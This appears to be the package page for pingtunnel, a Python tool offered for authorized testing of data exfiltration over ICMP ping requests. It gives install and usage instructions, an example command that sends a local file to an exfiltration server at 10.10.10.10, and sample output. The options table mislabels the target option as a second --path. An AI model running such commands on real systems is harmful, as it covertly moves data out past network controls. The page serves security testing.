pingtunnel 1.1.0

Test possible data exfiltration through ping requests

Disclaimer

Usage of this tool for educational or authorized use only and at your own responsibility.

Description

Test possible data exfiltration through ping requests

Installation

pip install pingtunnel

Usage

From command line:

python -m pingtunnel --path PATH --target TARGET --interval INTERVAL

Option	Short	Type	Default	Description
--path	-p	String	-	Path to file to be exfiltrated
--path	-p	String	-	IP of exfiltration server
--interval	-i	Float	1.0	Nr of seconds between pings

Example

python -m pingtunnel -p ./example.jpg -t 10.10.10.10

• Make sure to use tcpdump or wireshark on the exfiltration server in order to capture the ping requests

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pingtunnel by 5f0
Test possible data exfiltration through ping requests

Current working directory: path/to/pingtunnel

Datetime: 01/01/1970 10:11:12

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Status
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    Exfiltration Server: 10.10.10.10
 File to be exfiltrated: ./example.jpg

  Total Number of Bytes: 1094
Number of Ping Requests: 35.0
 Interval between Pings: 1.0 seconds


Execution
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-> Split ./example.jpg in 35.0 chunks
-> Send chunks


--> Transmission successful!

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Execution Time: 0.014563 sec

License

MIT